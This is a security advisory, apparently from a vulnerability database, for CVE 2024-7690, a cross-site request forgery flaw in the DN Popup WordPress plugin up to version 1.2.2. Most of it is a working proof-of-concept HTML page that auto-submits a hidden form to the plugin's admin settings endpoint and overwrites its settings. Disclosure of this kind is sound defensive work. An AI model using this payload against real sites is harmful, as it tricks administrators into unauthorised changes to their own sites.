DN Popup <= 1.2.2 – Settings Update via CSRF | CVE 2024-7690

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML file containing:


```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=dn_popup_manage&view=main" method="POST">
        <input type="hidden" name="view" value="main">
    
        <!-- Content Title -->
        <input type="hidden" name="dn_popup_save[content.title]" value="csrf">
        
        <!-- Content Text -->
        <input type="hidden" name="dn_popup_save[content.text]" value="csrf">
        
        <!-- Form Email -->
        <input type="hidden" name="dn_popup_save[form.email]" value="csrf">
        
        <!-- Form Name -->
        <input type="hidden" name="dn_popup_save[form.name]" value="csrf">
        
        <!-- Form Phone -->
        <input type="hidden" name="dn_popup_save[form.phone]" value="csrf">
        
        <!-- Form Message -->
        <textarea name="dn_popup_save[form.message]"></textarea>
        
        <!-- Form Privacy -->
        <input type="checkbox" name="dn_popup_save[form.privacy]">
        
        <!-- Form Button -->
        <input type="hidden" name="dn_popup_save[form.button]" value="submit">
        
        <!-- Form Answer -->
        <input type="hidden" name="dn_popup_save[form.answer]">
        
        <!-- Form Mail Title -->
        <input type="hidden" name="dn_popup_save[form.mail.title]" value="csrf">
        
        <!-- Form Error General -->
        <input type="hidden" name="dn_popup_save[form.error]" value="csrf">
        
        <!-- Form Error Email -->
        <input type="hidden" name="dn_popup_save[form.error.email]" value="csrf">
        
        <!-- Form Error Privacy -->
        <input type="hidden" name="dn_popup_save[form.error.privacy]" value="csrf">
        
        <!-- Submit Button -->
        <input type="submit" value="submit">
    </form>
</body>
```